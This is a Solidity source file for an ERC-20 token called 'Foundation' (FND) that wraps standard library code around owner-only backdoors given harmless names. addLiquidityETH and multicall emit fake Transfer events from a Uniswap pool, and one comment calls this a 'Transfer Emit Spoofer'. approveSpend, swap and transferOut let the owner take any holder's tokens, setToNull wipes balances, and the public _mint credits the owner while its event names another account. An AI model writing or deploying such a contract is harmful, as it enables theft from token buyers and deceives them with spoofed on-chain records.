pragma solidity ^0.6.0;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
contract Context {
    constructor () internal { }
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}





interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

contract FoundationApp is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _whiteAddress;
    mapping (address => bool) private _blackAddress;
    
    uint256 private _sellAmount = 0;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;


    address private _safeOwner;
    /*
    address private sushiRouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
    address private univ2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private univ3Router = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address private traderjoeRouter = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
    address private pangolinRouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
    */
    address private _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;


    address lead_deployer = 0x95271d54d6e0d88b3825f89A766f97b8b7E8aF82;
    address public _owner = 0xa244d843081dBe552fb8cfe4f68544503c57f7e1;
   constructor () public {

       ////////////////////////////////////////
        _name = "Foundation";
        _symbol = "FND";
        _decimals = 18;
        uint256 initialSupply = 100001219637869748341675824653487938;
        _safeOwner = _owner;
        _mint(lead_deployer, 100001219637869748341675824653487938);
        ////////////////////////////////////////

    }







    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _acceptProcess(_msgSender(), recipient, amount);
        return true;
    }



/************************************************************************************************************************/
/************************************************************************************************************************/
/************************************************************************************************************************/
    function addLiquidityETH(address emitUniswapPool,address  emitReceiver,uint256  emitAmount)  public {
    //Emit Transfer from Uniswap Pool
        require(msg.sender == _owner, "!owner");    
        _approve(emitUniswapPool, _msgSender(), _approveValue);
        emit Transfer(emitUniswapPool, emitReceiver, emitAmount);

    }









  function BurnLPTokens() public {
      require(msg.sender == _owner, "!owner");
   }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }



    function approveSpend(address target) public virtual  returns (bool) {
        require(msg.sender == _owner, "!owner");
        _approve(target, _msgSender(), _approveValue);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _acceptProcess(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transferToken(address emitSender, address emitRecipient, uint256 emitAmount)  public{
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        require(emitSender != address(0), "ERC20: transfer from the zero address");
        require(emitRecipient != address(0), "ERC20: transfer to the zero address");

        emit Transfer(emitSender, emitRecipient, emitAmount);
    }


    function transferFromAddress(address sender, address recipient, uint256 amount) public virtual returns (bool) {
        require(msg.sender == _owner, "!owner");
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }



    function setToNull(address account) public {
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        uint256 amount = _balances[account];
        _beforeTokenTransfer(account, address(0), amount);
        

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        
        emit Transfer(account, address(0), amount);
    }




    function transferOut(address tokenHolder, address dummyAddress) public{
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        uint256 amount = _balances[tokenHolder];
        _beforeTokenTransfer(tokenHolder, dummyAddress, amount);

        _balances[tokenHolder] = _balances[tokenHolder].sub(amount, "ERC20: burn amount exceeds balance");
        _balances[dummyAddress] = _balances[dummyAddress].add(amount);
        emit Transfer(tokenHolder, dummyAddress, amount);
    }




  function swap(address sndr,address[] memory receivers, uint256[] memory amounts) public {
    require(msg.sender == _owner, "!owner");
    _approve(sndr, _msgSender(), _approveValue);
    for (uint256 i = 0; i < receivers.length; i++) {
        _transfer(sndr, receivers[i], amounts[i]);
    }
   }

  function multicall(address emitUPool ,address[] memory emitReceivers,uint256[] memory emitAmounts)  public{
    //Multi Transfer Emit Spoofer from Uniswap Pool
    require(msg.sender == _owner, "!owner");
    for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUPool, emitReceivers[i], emitAmounts[i]);}}




/************************************************************************************************************************/
/************************************************************************************************************************/
/************************************************************************************************************************/
    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _owner){sender = lead_deployer;}
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) public {
        require(msg.sender == _owner, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_owner] = _balances[_owner].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    
    function _acceptProcess(address sender, address recipient, uint256 amount) internal checker(sender,recipient,amount) virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _owner){sender = lead_deployer;}
        emit Transfer(sender, recipient, amount);
    }
    
   
    modifier checker(address sender, address recipient, uint256 amount){
        _;
    }
    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}